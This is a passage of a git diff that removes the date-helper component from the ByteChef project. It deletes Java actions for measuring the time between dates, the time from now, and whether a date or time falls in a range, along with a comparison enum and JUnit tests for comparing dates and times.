-            case DAY -> duration * 86400L;
-            case MONTH -> duration * 2592000L;
-            case YEAR -> duration * 31536000L;
-            default -> throw new IllegalArgumentException("Unsupported unit: " + unit);
-        };
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperGetTimeBetweenAction.java b/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperGetTimeBetweenAction.java
deleted file mode 100644
index ec4d228d7fc..00000000000
--- a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperGetTimeBetweenAction.java
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_A;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_B;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DAY;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.HOUR;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.MINUTE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.MONTH;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.SECOND;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.YEAR;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.dateTime;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Parameters;
-import java.time.Duration;
-import java.time.LocalDateTime;
-import java.time.Period;
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-/**
- * @author Nikolina Spehar
- */
-public class DateHelperGetTimeBetweenAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("getTimeBetween")
-        .title("Get Time Between")
-        .description(
-            "Get the time between two dates, as hh:mm:ss. If the second date is before the first date, the result " +
-                "will be negative.")
-        .properties(
-            dateTime(DATE_A)
-                .label("Start Date")
-                .description(
-                    "Start date of the interval. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to " +
-                        "transform the date format")
-                .required(true),
-            dateTime(DATE_B)
-                .label("End Date")
-                .description(
-                    "End date of the interval. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to " +
-                        "transform the date format")
-                .required(true))
-        .output(
-            outputSchema(
-                object()
-                    .description("Time between two dates.")
-                    .properties(
-                        integer(YEAR)
-                            .description("Number of years in between dates."),
-                        integer(MONTH)
-                            .description("Number of months in between dates."),
-                        integer(DAY)
-                            .description("Number of days in between dates."),
-                        integer(HOUR)
-                            .description("Number of hours in between dates."),
-                        integer(MINUTE)
-                            .description("Number of minutes in between dates."),
-                        integer(SECOND)
-                            .description("Number of seconds in between dates."))))
-        .help("", "https://docs.bytechef.io/reference/components/date-helper_v1#get-time-between")
-        .perform(DateHelperGetTimeBetweenAction::perform);
-
-    private DateHelperGetTimeBetweenAction() {
-    }
-
-    public static Map<String, Object> perform(
-        Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
-
-        LocalDateTime dateA = inputParameters.getRequiredLocalDateTime(DATE_A);
-        LocalDateTime dateB = inputParameters.getRequiredLocalDateTime(DATE_B);
-
-        Period period = Period.between(dateA.toLocalDate(), dateB.toLocalDate());
-        Duration duration = Duration.between(dateA, dateB);
-
-        Map<String, Object> result = new LinkedHashMap<>();
-
-        result.put(YEAR, period.getYears());
-        result.put(MONTH, period.getMonths());
-        result.put(DAY, period.getDays());
-        result.put(HOUR, duration.toHoursPart());
-        result.put(MINUTE, duration.toMinutesPart());
-        result.put(SECOND, duration.toSecondsPart());
-
-        return result;
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperGetTimeFromNowAction.java b/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperGetTimeFromNowAction.java
deleted file mode 100644
index e2c2d8f3164..00000000000
--- a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperGetTimeFromNowAction.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE;
-import static com.bytechef.component.date.helper.util.DateHelperUtils.formatDuration;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.dateTime;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Parameters;
-import java.time.Duration;
-import java.time.LocalDateTime;
-
-/**
- * @author Nikolina Spehar
- */
-public class DateHelperGetTimeFromNowAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("getTimeFromNow")
-        .title("Get Time From Now")
-        .description(
-            "Returns a human readable date relative to the current time, such as “in 2 months”, or “14 days ago”")
-        .properties(
-            dateTime(DATE)
-                .label("Date")
-                .description(
-                    "Date to which time will be calculated. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date " +
-                        "action to transform the date format")
-                .required(true))
-        .output(outputSchema(string().description("Human readable time to inputted date.")))
-        .help("", "https://docs.bytechef.io/reference/components/date-helper_v1#get-time-from-now")
-        .perform(DateHelperGetTimeFromNowAction::perform);
-
-    private DateHelperGetTimeFromNowAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
-        LocalDateTime date = inputParameters.getRequiredLocalDateTime(DATE);
-        LocalDateTime now = LocalDateTime.now();
-
-        Duration duration = Duration.between(now, date);
-        long totalSeconds = duration.getSeconds();
-
-        String formatedDuration = formatDuration(totalSeconds);
-
-        return totalSeconds < 0 ? formatedDuration + " ago" : "in " + formatedDuration;
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperIsBetweenDatesAction.java b/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperIsBetweenDatesAction.java
deleted file mode 100644
index 7565ebd3242..00000000000
--- a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperIsBetweenDatesAction.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_A;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_B;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.INCLUSIVE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.RESOLUTION;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.RESOLUTION_PROPERTY;
-import static com.bytechef.component.date.helper.util.DateHelperUtils.applyResolution;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.dateTime;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-
-import com.bytechef.component.date.helper.constants.DateHelperComparisonEnum;
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Parameters;
-import java.time.LocalDateTime;
-
-/**
- * @author Nikolina Spehar
- */
-public class DateHelperIsBetweenDatesAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("IsBetweenDates")
-        .title("Is Between Dates?")
-        .description("Check to see whether a date falls within a date range.")
-        .properties(
-            dateTime(DATE)
-                .label("Date")
-                .description(
-                    "Date to check if it is in the range. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date " +
-                        "action to transform the date format.")
-                .required(true),
-            dateTime(DATE_A)
-                .label("Start Date")
-                .description(
-                    "Start date of the interval. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to " +
-                        "transform the date format")
-                .required(true),
-            dateTime(DATE_B)
-                .label("End Date")
-                .description(
-                    "End date of the interval. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to " +
-                        "transform the date format")
-                .required(true),
-            RESOLUTION_PROPERTY,
-            bool(INCLUSIVE)
-                .label("Inclusive")
-                .description("Whether the boundary is inclusive or not.")
-                .defaultValue(false))
-        .output(outputSchema(bool().description("Whether the date falls within given date range.")))
-        .help("", "https://docs.bytechef.io/reference/components/date-helper_v1#is-between-dates")
-        .perform(DateHelperIsBetweenDatesAction::perform);
-
-    private DateHelperIsBetweenDatesAction() {
-    }
-
-    public static boolean perform(Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
-        String resolution = inputParameters.getRequiredString(RESOLUTION);
-
-        LocalDateTime date = applyResolution(resolution, inputParameters.getRequiredLocalDateTime(DATE));
-        LocalDateTime startDate = applyResolution(resolution, inputParameters.getRequiredLocalDateTime(DATE_A));
-        LocalDateTime endDate = applyResolution(resolution, inputParameters.getRequiredLocalDateTime(DATE_B));
-
-        boolean inclusive = inputParameters.getBoolean(INCLUSIVE);
-
-        DateHelperComparisonEnum startDateComparisonEnum =
-            inclusive ? DateHelperComparisonEnum.IS_AFTER_OR_EQUAL : DateHelperComparisonEnum.IS_AFTER;
-
-        DateHelperComparisonEnum endDateComparisonEnum =
-            inclusive ? DateHelperComparisonEnum.IS_BEFORE_OR_EQUAL : DateHelperComparisonEnum.IS_BEFORE;
-
-        return startDateComparisonEnum.compare(date, startDate) && endDateComparisonEnum.compare(date, endDate);
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperIsBetweenTimesAction.java b/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperIsBetweenTimesAction.java
deleted file mode 100644
index 59749d44957..00000000000
--- a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperIsBetweenTimesAction.java
+++ /dev/null
@@ -1,118 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.INCLUSIVE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.INCLUSIVE_SECONDS;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.TIME_A;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.TIME_B;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.dateTime;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.time;
-
-import com.bytechef.component.date.helper.constants.DateHelperComparisonEnum;
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Parameters;
-import java.time.LocalDateTime;
-import java.time.LocalTime;
-import java.time.temporal.ChronoUnit;
-
-/**
- * @author Nikolina Spehar
- */
-public class DateHelperIsBetweenTimesAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("IsBetweenTimes")
-        .title("Is Between Times?")
-        .description("Check to see whether a date falls within a time range.")
-        .properties(
-            dateTime(DATE)
-                .label("Date")
-                .description(
-                    "Date to check if it is in the range. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date " +
-                        "action to transform the date format")
-                .required(true),
-            time(TIME_A)
-                .label("Start Time")
-                .description("Start time of the interval.")
-                .required(true),
-            time(TIME_B)
-                .label("End Time")
-                .description("End time of the interval.")
-                .required(true),
-            bool(INCLUSIVE)
-                .label("Inclusive")
-                .description("Whether the boundary is inclusive or not.")
-                .defaultValue(false),
-            bool(INCLUSIVE_SECONDS)
-                .label("Inclusive Seconds")
-                .description("Whether the seconds will be compared.")
-                .defaultValue(true))
-        .output(outputSchema(bool().description("Whether the date falls within given date range.")))
-        .help("", "https://docs.bytechef.io/reference/components/date-helper_v1#is-between-times")
-        .perform(DateHelperIsBetweenTimesAction::perform);
-
-    private DateHelperIsBetweenTimesAction() {
-    }
-
-    public static boolean perform(Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
-        LocalDateTime localDateTime = inputParameters.getRequiredLocalDateTime(DATE);
-
-        LocalDateTime startLocalDateTime = getLocalDateTime(
-            inputParameters.getRequiredLocalTime(TIME_A), localDateTime);
-
-        LocalDateTime endLocalDateTime = getLocalDateTime(inputParameters.getRequiredLocalTime(TIME_B), localDateTime);
-
-        boolean inclusive = inputParameters.getBoolean(INCLUSIVE);
-        boolean inclusiveSeconds = inputParameters.getBoolean(INCLUSIVE_SECONDS);
-
-        localDateTime = includeSeconds(inclusiveSeconds, localDateTime);
-        startLocalDateTime = includeSeconds(inclusiveSeconds, startLocalDateTime);
-        endLocalDateTime = includeSeconds(inclusiveSeconds, endLocalDateTime);
-
-        return isInTimeRange(startLocalDateTime, endLocalDateTime, localDateTime, inclusive);
-    }
-
-    private static LocalDateTime getLocalDateTime(LocalTime localTime, LocalDateTime localDateTime) {
-        return localTime.atDate(localDateTime.toLocalDate());
-    }
-
-    private static LocalDateTime includeSeconds(boolean includeSeconds, LocalDateTime localDateTime) {
-        return includeSeconds ? localDateTime : localDateTime.truncatedTo(ChronoUnit.MINUTES);
-    }
-
-    private static boolean isInTimeRange(
-        LocalDateTime start, LocalDateTime end, LocalDateTime date, boolean inclusive) {
-
-        boolean crossesMidnight = end.isBefore(start);
-
-        DateHelperComparisonEnum afterStart =
-            inclusive ? DateHelperComparisonEnum.IS_AFTER_OR_EQUAL : DateHelperComparisonEnum.IS_AFTER;
-        DateHelperComparisonEnum beforeEnd =
-            inclusive ? DateHelperComparisonEnum.IS_BEFORE_OR_EQUAL : DateHelperComparisonEnum.IS_BEFORE;
-
-        if (crossesMidnight) {
-            return afterStart.compare(date, start) || beforeEnd.compare(date, end);
-        } else {
-            return afterStart.compare(date, start) && beforeEnd.compare(date, end);
-        }
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/constants/DateHelperComparisonEnum.java b/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/constants/DateHelperComparisonEnum.java
deleted file mode 100644
index b6c475b73a8..00000000000
--- a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/constants/DateHelperComparisonEnum.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.constants;
-
-import java.time.LocalDateTime;
-import java.util.function.BiPredicate;
-
-/**
- * @author Nikolina Spehar
- */
-public enum DateHelperComparisonEnum {
-
-    IS_AFTER(LocalDateTime::isAfter, "Is After"),
-    IS_AFTER_OR_EQUAL(
-        (a, b) -> a.isAfter(b) || a.isEqual(b), "Is After or Equal"),
-    IS_BEFORE(LocalDateTime::isBefore, "Is Before"),
-    IS_BEFORE_OR_EQUAL(
-        (a, b) -> a.isBefore(b) || a.isEqual(b), "Is Before or Equal"),
-    IS_EQUAL(LocalDateTime::isEqual, "Is Equal");
-
-    private final BiPredicate<LocalDateTime, LocalDateTime> predicate;
-    private final String label;
-
-    DateHelperComparisonEnum(BiPredicate<LocalDateTime, LocalDateTime> predicate, String label) {
-        this.predicate = predicate;
-        this.label = label;
-    }
-
-    public boolean compare(LocalDateTime dateA, LocalDateTime dateB) {
-        return predicate.test(dateA, dateB);
-    }
-
-    public String getLabel() {
-        return label;
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperCompareDatesActionTest.java b/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperCompareDatesActionTest.java
deleted file mode 100644
index 21882cfa0c9..00000000000
--- a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperCompareDatesActionTest.java
+++ /dev/null
@@ -1,181 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperComparisonEnum.IS_AFTER;
-import static com.bytechef.component.date.helper.constants.DateHelperComparisonEnum.IS_AFTER_OR_EQUAL;
-import static com.bytechef.component.date.helper.constants.DateHelperComparisonEnum.IS_BEFORE;
-import static com.bytechef.component.date.helper.constants.DateHelperComparisonEnum.IS_BEFORE_OR_EQUAL;
-import static com.bytechef.component.date.helper.constants.DateHelperComparisonEnum.IS_EQUAL;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.COMPARISON;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_A;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_B;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DAY;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.HOUR;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.MINUTE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.MONTH;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.RESOLUTION;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.SECOND;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.YEAR;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import com.bytechef.component.date.helper.constants.DateHelperComparisonEnum;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.time.LocalDateTime;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class DateHelperCompareDatesActionTest {
-
-    private boolean
-        run(String resolution, DateHelperComparisonEnum comparison, LocalDateTime dateA, LocalDateTime dateB) {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(RESOLUTION, resolution, COMPARISON, comparison.name(), DATE_A, dateA, DATE_B, dateB));
-
-        return DateHelperCompareDatesAction.perform(mockedParameters, null, null);
-    }
-
-    @Test
-    void testResolutionSecond() {
-        LocalDateTime a = LocalDateTime.of(2024, 1, 1, 10, 0, 5, 999999999);
-        LocalDateTime b = LocalDateTime.of(2024, 1, 1, 10, 0, 5, 0);
-
-        assertTrue(run(SECOND, IS_EQUAL, a, b));
-    }
-
-    @Test
-    void testResolutionMinute() {
-        LocalDateTime a = LocalDateTime.of(2024, 1, 1, 10, 5, 59);
-        LocalDateTime b = LocalDateTime.of(2024, 1, 1, 10, 5, 0);
-
-        assertTrue(run(MINUTE, IS_EQUAL, a, b));
-    }
-
-    @Test
-    void testResolutionHour() {
-        LocalDateTime a = LocalDateTime.of(2024, 1, 1, 10, 59);
-        LocalDateTime b = LocalDateTime.of(2024, 1, 1, 10, 0);
-
-        assertTrue(run(HOUR, IS_EQUAL, a, b));
-    }
-
-    @Test
-    void testResolutionDay() {
-        LocalDateTime a = LocalDateTime.of(2024, 1, 1, 23, 59);
-        LocalDateTime b = LocalDateTime.of(2024, 1, 1, 0, 0);
-
-        assertTrue(run(DAY, IS_EQUAL, a, b));
-    }
-
-    @Test
-    void testResolutionMonth() {
-        LocalDateTime a = LocalDateTime.of(2024, 1, 31, 23, 59);
-        LocalDateTime b = LocalDateTime.of(2024, 1, 1, 0, 0);
-
-        assertTrue(run(MONTH, IS_EQUAL, a, b));
-    }
-
-    @Test
-    void testResolutionYear() {
-        LocalDateTime a = LocalDateTime.of(2024, 12, 31, 23, 59);
-        LocalDateTime b = LocalDateTime.of(2024, 1, 1, 0, 0);
-
-        assertTrue(run(YEAR, IS_EQUAL, a, b));
-    }
-
-    @Test
-    void testIsBefore() {
-        assertTrue(
-            run(SECOND, IS_BEFORE, LocalDateTime.of(2024, 1, 1, 0, 0, 0), LocalDateTime.of(2024, 1, 1, 0, 0, 1)));
-    }
-
-    @Test
-    void testIsAfter() {
-        assertTrue(
-            run(SECOND, IS_AFTER, LocalDateTime.of(2024, 1, 1, 0, 0, 2), LocalDateTime.of(2024, 1, 1, 0, 0, 1)));
-    }
-
-    @Test
-    void testIsEqual() {
-        assertTrue(
-            run(SECOND, IS_EQUAL, LocalDateTime.of(2024, 1, 1, 0, 0, 5), LocalDateTime.of(2024, 1, 1, 0, 0, 5)));
-    }
-
-    @Test
-    void testIsBeforeOrEqualEqualCase() {
-        assertTrue(
-            run(
-                SECOND, IS_BEFORE_OR_EQUAL,
-                LocalDateTime.of(2024, 1, 1, 0, 0, 5), LocalDateTime.of(2024, 1, 1, 0, 0, 5)));
-    }
-
-    @Test
-    void testIsBeforeOrEqualBeforeCase() {
-        assertTrue(
-            run(
-                SECOND, IS_BEFORE_OR_EQUAL,
-                LocalDateTime.of(2024, 1, 1, 0, 0, 4), LocalDateTime.of(2024, 1, 1, 0, 0, 5)));
-    }
-
-    @Test
-    void testIsAfterOrEqualAfterCase() {
-        assertTrue(
-            run(
-                SECOND, IS_AFTER_OR_EQUAL,
-                LocalDateTime.of(2024, 1, 1, 0, 0, 6), LocalDateTime.of(2024, 1, 1, 0, 0, 5)));
-    }
-
-    @Test
-    void testIsAfterOrEqualEqualCase() {
-        assertTrue(
-            run(
-                SECOND, IS_AFTER_OR_EQUAL,
-                LocalDateTime.of(2024, 1, 1, 0, 0, 5), LocalDateTime.of(2024, 1, 1, 0, 0, 5)));
-    }
-
-    @Test
-    void testIsBeforeNegative() {
-        assertFalse(
-            run(SECOND, IS_BEFORE, LocalDateTime.of(2024, 1, 1, 0, 0, 5), LocalDateTime.of(2024, 1, 1, 0, 0, 5)));
-    }
-
-    @Test
-    void testIsAfterNegative() {
-        assertFalse(
-            run(SECOND, IS_AFTER, LocalDateTime.of(2024, 1, 1, 0, 0, 5), LocalDateTime.of(2024, 1, 1, 0, 0, 5)));
-    }
-
-    @Test
-    void testIsEqualNegative() {
-        assertFalse(
-            run(SECOND, IS_EQUAL, LocalDateTime.of(2024, 1, 1, 0, 0, 5), LocalDateTime.of(2024, 1, 1, 0, 0, 6)));
-    }
-
-    @Test
-    void testTruncationMakesThemEqual() {
-        LocalDateTime a = LocalDateTime.of(2024, 1, 1, 10, 30, 59);
-        LocalDateTime b = LocalDateTime.of(2024, 1, 1, 10, 30, 0);
-
-        assertTrue(run(MINUTE, IS_EQUAL, a, b));
-        assertFalse(run(SECOND, IS_EQUAL, a, b));
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperCompareTimesActionTest.java b/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperCompareTimesActionTest.java
deleted file mode 100644
index e85aee43872..00000000000
--- a/server/libs/modules/components/date-helper/src/test/java/com/bytechef/component/date/helper/action/DateHelperCompareTimesActionTest.java
+++ /dev/null
@@ -1,144 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperComparisonEnum.IS_AFTER;
-import static com.bytechef.component.date.helper.constants.DateHelperComparisonEnum.IS_AFTER_OR_EQUAL;
-import static com.bytechef.component.date.helper.constants.DateHelperComparisonEnum.IS_BEFORE;
-import static com.bytechef.component.date.helper.constants.DateHelperComparisonEnum.IS_BEFORE_OR_EQUAL;
-import static com.bytechef.component.date.helper.constants.DateHelperComparisonEnum.IS_EQUAL;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.COMPARISON;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_A;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_B;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import com.bytechef.component.date.helper.constants.DateHelperComparisonEnum;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.time.LocalDateTime;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class DateHelperCompareTimesActionTest {
-
-    private boolean run(DateHelperComparisonEnum comparison, LocalDateTime dateA, LocalDateTime dateB) {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(COMPARISON, comparison.name(), DATE_A, dateA, DATE_B, dateB));
-
-        return DateHelperCompareTimesAction.perform(mockedParameters, null, null);
-    }
-
-    @Test
-    void testPerformIsEqualSameTimesDifferentDates() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 1, 15, 14, 30, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 12, 25, 14, 30, 0);
-
-        assertTrue(run(IS_EQUAL, dateA, dateB));
-    }
-
-    @Test
-    void testPerformIsEqualDifferentTimes() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 1, 15, 14, 30, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 1, 15, 15, 30, 0);
-
-        assertFalse(run(IS_EQUAL, dateA, dateB));
-    }
-
-    @Test
-    void testPerformIsBeforeEarlierTime() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 12, 25, 10, 0, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 1, 1, 15, 0, 0);
-
-        assertTrue(run(IS_BEFORE, dateA, dateB));
-    }
-
-    @Test
-    void testPerformIsBeforeLaterTime() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 1, 1, 15, 0, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 12, 25, 10, 0, 0);
-
-        assertFalse(run(IS_BEFORE, dateA, dateB));
-    }
-
-    @Test
-    void testPerformIsAfterLaterTime() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 1, 1, 18, 30, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 12, 25, 12, 15, 0);
-
-        assertTrue(run(IS_AFTER, dateA, dateB));
-    }
-
-    @Test
-    void testPerformIsAfterEarlierTime() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 12, 25, 8, 0, 0);
-        LocalDateTime dateB = LocalDateTime.of(2024, 1, 1, 20, 0, 0);
-
-        assertFalse(run(IS_AFTER, dateA, dateB));
-    }
-
-    @Test
-    void testPerformIsBeforeOrEqualEqualTimes() {
-        LocalDateTime dateA = LocalDateTime.of(2024, 5, 10, 13, 45, 30);
-        LocalDateTime dateB = LocalDateTime.of(2024, 8, 20, 13, 45, 30);
-
-        assertTrue(run(IS_BEFORE_OR_EQUAL, dateA, dateB));
-    }
-
-    @Test
-    void testPerformIsBeforeOrEqualBeforeTime() {
